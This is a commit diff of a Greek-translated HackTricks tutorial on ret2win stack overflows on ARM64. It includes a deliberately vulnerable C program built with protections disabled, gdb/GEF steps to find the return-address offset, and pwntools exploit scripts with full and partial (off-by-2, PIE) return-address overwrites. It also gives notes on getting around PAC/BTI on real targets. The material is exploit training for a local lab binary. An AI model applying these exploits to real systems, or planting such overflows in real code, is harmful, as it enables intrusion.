mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6
This commit is contained in:
parent
42bf884431
commit
0baeffe2b8
@ -4,11 +4,12 @@
|
|||||||
|
|
||||||
Βρείτε μια εισαγωγή στο arm64 στο:
|
Βρείτε μια εισαγωγή στο arm64 στο:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## Code
|
## Κώδικας
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
@ -27,17 +28,29 @@ vulnerable_function();
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Συγκέντρωση χωρίς pie και canary:
|
Μεταγλωττίστε χωρίς pie και canary:
|
||||||
```bash
|
```bash
|
||||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
|
||||||
```
|
```
|
||||||
## Εύρεση της απόκλισης
|
- The extra flag `-mbranch-protection=none` disables AArch64 Branch Protection (PAC/BTI). If your toolchain defaults to enabling PAC or BTI, this keeps the lab reproducible. To check whether a compiled binary uses PAC/BTI you can:
|
||||||
|
- Αναζητήστε AArch64 GNU properties:
|
||||||
|
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
|
||||||
|
- Επιθεωρήστε prologues/epilogues για `paciasp`/`autiasp` (PAC) ή για `bti c` landing pads (BTI):
|
||||||
|
- `objdump -d ret2win | head -n 40`
|
||||||
|
|
||||||
### Επιλογή προτύπου
|
### Σύντομα στοιχεία για το AArch64 calling convention
|
||||||
|
|
||||||
Αυτό το παράδειγμα δημιουργήθηκε χρησιμοποιώντας [**GEF**](https://github.com/bata24/gef):
|
- Ο link register είναι `x30` (a.k.a. `lr`), και οι συναρτήσεις συνήθως αποθηκεύουν `x29`/`x30` με `stp x29, x30, [sp, #-16]!` και τα επαναφέρουν με `ldp x29, x30, [sp], #16; ret`.
|
||||||
|
- Αυτό σημαίνει ότι η αποθηκευμένη διεύθυνση επιστροφής βρίσκεται στο `sp+8` σε σχέση με τη βάση του frame. Με ένα `char buffer[64]` τοποθετημένο πιο κάτω, η συνήθης απόσταση υπερχείλισης προς το αποθηκευμένο `x30` είναι 64 (buffer) + 8 (saved x29) = 72 bytes — ακριβώς αυτό που θα βρούμε παρακάτω.
|
||||||
|
- Ο stack pointer πρέπει να παραμένει 16‑byte aligned στα όρια συναρτήσεων. Αν φτιάξετε ROP chains αργότερα για πιο σύνθετα σενάρια, διατηρήστε την ευθυγράμμιση του SP ή μπορεί να καταρρεύσετε σε function epilogues.
|
||||||
|
|
||||||
Εκκινήστε το gdb με το gef, δημιουργήστε ένα πρότυπο και χρησιμοποιήστε το:
|
## Εύρεση του offset
|
||||||
|
|
||||||
|
### Επιλογή pattern
|
||||||
|
|
||||||
|
This example was created using [**GEF**](https://github.com/bata24/gef):
|
||||||
|
|
||||||
|
Ξεκινήστε gdb με gef, δημιουργήστε pattern και χρησιμοποιήστε το:
|
||||||
```bash
|
```bash
|
||||||
gdb -q ./ret2win
|
gdb -q ./ret2win
|
||||||
pattern create 200
|
pattern create 200
|
||||||
@ -45,17 +58,17 @@ run
|
|||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Η arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που είναι στο μητρώο x30 (το οποίο έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε την απόσταση του μοτίβου:
|
arm64 θα προσπαθήσει να επιστρέψει στη διεύθυνση που βρίσκεται στον καταχωρητή x30 (ο οποίος έχει παραβιαστεί), μπορούμε να το χρησιμοποιήσουμε για να βρούμε τη μετατόπιση του pattern:
|
||||||
```bash
|
```bash
|
||||||
pattern search $x30
|
pattern search $x30
|
||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Η απόσταση είναι 72 (9x48).**
|
**Το offset είναι 72 (9x48).**
|
||||||
|
|
||||||
### Επιλογή απόστασης στοίβας
|
### Επιλογή Stack offset
|
||||||
|
|
||||||
Ξεκινήστε αποκτώντας τη διεύθυνση της στοίβας όπου αποθηκεύεται το pc register:
|
Ξεκινήστε βρίσκοντας τη διεύθυνση του stack όπου αποθηκεύεται ο pc register:
|
||||||
```bash
|
```bash
|
||||||
gdb -q ./ret2win
|
gdb -q ./ret2win
|
||||||
b *vulnerable_function + 0xc
|
b *vulnerable_function + 0xc
|
||||||
@ -64,38 +77,40 @@ info frame
|
|||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Τώρα ορίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα μοτίβο όπως 13371337:
|
Τώρα ρυθμίστε ένα breakpoint μετά το `read()` και συνεχίστε μέχρι να εκτελεστεί το `read()` και ορίστε ένα pattern όπως 13371337:
|
||||||
```
|
```
|
||||||
b *vulnerable_function+28
|
b *vulnerable_function+28
|
||||||
c
|
c
|
||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Βρείτε πού αποθηκεύεται αυτό το μοτίβο στη μνήμη:
|
Βρείτε πού αποθηκεύεται αυτό το πρότυπο στη μνήμη:
|
||||||
|
|
||||||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Τότε: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
Στη συνέχεια: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||||
|
|
||||||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Χωρίς PIE
|
## No PIE
|
||||||
|
|
||||||
### Κανονικό
|
### Κανονικό
|
||||||
|
|
||||||
Αποκτήστε τη διεύθυνση της **`win`** συνάρτησης:
|
Βρείτε τη διεύθυνση της συνάρτησης **`win`**:
|
||||||
```bash
|
```bash
|
||||||
objdump -d ret2win | grep win
|
objdump -d ret2win | grep win
|
||||||
ret2win: file format elf64-littleaarch64
|
ret2win: file format elf64-littleaarch64
|
||||||
00000000004006c4 <win>:
|
00000000004006c4 <win>:
|
||||||
```
|
```
|
||||||
Εκμετάλλευση:
|
Exploit:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
# Configuration
|
# Configuration
|
||||||
binary_name = './ret2win'
|
binary_name = './ret2win'
|
||||||
p = process(binary_name)
|
p = process(binary_name)
|
||||||
|
# Optional but nice for AArch64
|
||||||
|
context.arch = 'aarch64'
|
||||||
|
|
||||||
# Prepare the payload
|
# Prepare the payload
|
||||||
offset = 72
|
offset = 72
|
||||||
@ -113,7 +128,7 @@ p.close()
|
|||||||
|
|
||||||
### Off-by-1
|
### Off-by-1
|
||||||
|
|
||||||
Στην πραγματικότητα, αυτό θα είναι περισσότερο σαν off-by-2 στην αποθηκευμένη διεύθυνση PC στη στοίβα. Αντί να αντικαταστήσουμε όλες τις διευθύνσεις επιστροφής, θα αντικαταστήσουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
|
Στην πραγματικότητα αυτό θα είναι περισσότερο σαν ένα off-by-2 στο αποθηκευμένο PC στο stack. Αντί να υπεργράψουμε ολόκληρο το return address, θα υπεργράψουμε **μόνο τα τελευταία 2 bytes** με `0x06c4`.
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -135,16 +150,16 @@ p.close()
|
|||||||
```
|
```
|
||||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-one σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι μια πραγματική off-by-**one** σε μια φανταστική ευπάθεια.
|
Μπορείτε να βρείτε ένα άλλο παράδειγμα off-by-**one** σε ARM64 στο [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), το οποίο είναι ένα πραγματικό off-by-**one** σε μια φανταστική ευπάθεια.
|
||||||
|
|
||||||
## Με PIE
|
## With PIE
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Συγκεντρώστε το δυαδικό **χωρίς το επιχείρημα `-no-pie`**
|
> Μεταγλωττίστε το binary **χωρίς το `-no-pie` argument**
|
||||||
|
|
||||||
### Off-by-2
|
### Off-by-2
|
||||||
|
|
||||||
Χωρίς μια διαρροή δεν γνωρίζουμε τη ακριβή διεύθυνση της νικηφόρας συνάρτησης, αλλά μπορούμε να γνωρίζουμε την απόσταση της συνάρτησης από το δυαδικό και γνωρίζοντας ότι η διεύθυνση επιστροφής που αντικαθιστούμε δείχνει ήδη σε μια κοντινή διεύθυνση, είναι δυνατό να διαρρεύσουμε την απόσταση στη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλά να χρησιμοποιήσουμε αυτή την απόσταση:
|
Χωρίς leak δεν γνωρίζουμε την ακριβή διεύθυνση της συνάρτησης win, αλλά μπορούμε να γνωρίζουμε το offset της συνάρτησης μέσα στο binary και, δεδομένου ότι η διεύθυνση επιστροφής που υπεργράφουμε ήδη δείχνει σε μια κοντινή διεύθυνση, είναι δυνατό να leak-άρουμε το offset προς τη συνάρτηση win (**0x7d4**) σε αυτή την περίπτωση και απλώς να χρησιμοποιήσουμε αυτό το offset:
|
||||||
|
|
||||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
```python
|
```python
|
||||||
@ -166,4 +181,45 @@ p.send(payload)
|
|||||||
print(p.recvline())
|
print(p.recvline())
|
||||||
p.close()
|
p.close()
|
||||||
```
|
```
|
||||||
|
### Σημειώσεις για τη σύγχρονη ενίσχυση AArch64 (PAC/BTI) και ret2win
|
||||||
|
|
||||||
|
- Αν το binary έχει compiled με AArch64 Branch Protection, μπορεί να δείτε `paciasp`/`autiasp` ή `bti c` να εκπέμπονται σε function prologues/epilogues. Σε αυτή την περίπτωση:
|
||||||
|
- Επιστροφή σε μια διεύθυνση που δεν είναι έγκυρο BTI landing pad μπορεί να προκαλέσει `SIGILL`. Προτιμήστε στόχευση στην ακριβή function entry που περιέχει `bti c`.
|
||||||
|
- Αν το PAC είναι ενεργοποιημένο για returns, οι απλές return‑address overwrites μπορεί να αποτύχουν επειδή το epilogue αυθεντικοποιεί το `x30`. Για εκπαιδευτικά σενάρια, rebuild με `-mbranch-protection=none` (όπως φαίνεται παραπάνω). Όταν επιτίθεστε σε πραγματικούς στόχους, προτιμήστε non‑return hijacks (π.χ. function pointer overwrites) ή φτιάξτε ROP που ποτέ δεν εκτελεί το ζευγάρι `autiasp`/`ret` που αυθεντικοποιεί το πλαστό σας LR.
|
||||||
|
- Για γρήγορο έλεγχο των χαρακτηριστικών:
|
||||||
|
- `readelf --notes -W ./ret2win` και ελέγξτε για τις σημειώσεις `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC`.
|
||||||
|
- `objdump -d ./ret2win | head -n 40` και ψάξτε για `bti c`, `paciasp`, `autiasp`.
|
||||||
|
|
||||||
|
### Εκτέλεση σε μη‑ARM64 hosts (qemu‑user quick tip)
|
||||||
|
|
||||||
|
Αν είστε σε x86_64 αλλά θέλετε να εξασκηθείτε σε AArch64:
|
||||||
|
```bash
|
||||||
|
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
|
||||||
|
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
|
||||||
|
|
||||||
|
# Run the binary with the AArch64 loader environment
|
||||||
|
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
|
||||||
|
|
||||||
|
# Debug with GDB (qemu-user gdbstub)
|
||||||
|
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
|
||||||
|
# In another terminal
|
||||||
|
gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||||
|
```
|
||||||
|
### Σχετικές σελίδες HackTricks
|
||||||
|
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||||
|
{{#endref}}
|
||||||
|
-
|
||||||
|
{{#ref}}
|
||||||
|
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
- Ενεργοποίηση PAC και BTI σε AArch64 για Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
|
||||||
|
- Πρότυπο κλήσης διαδικασίας για την αρχιτεκτονική Arm 64-bit (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user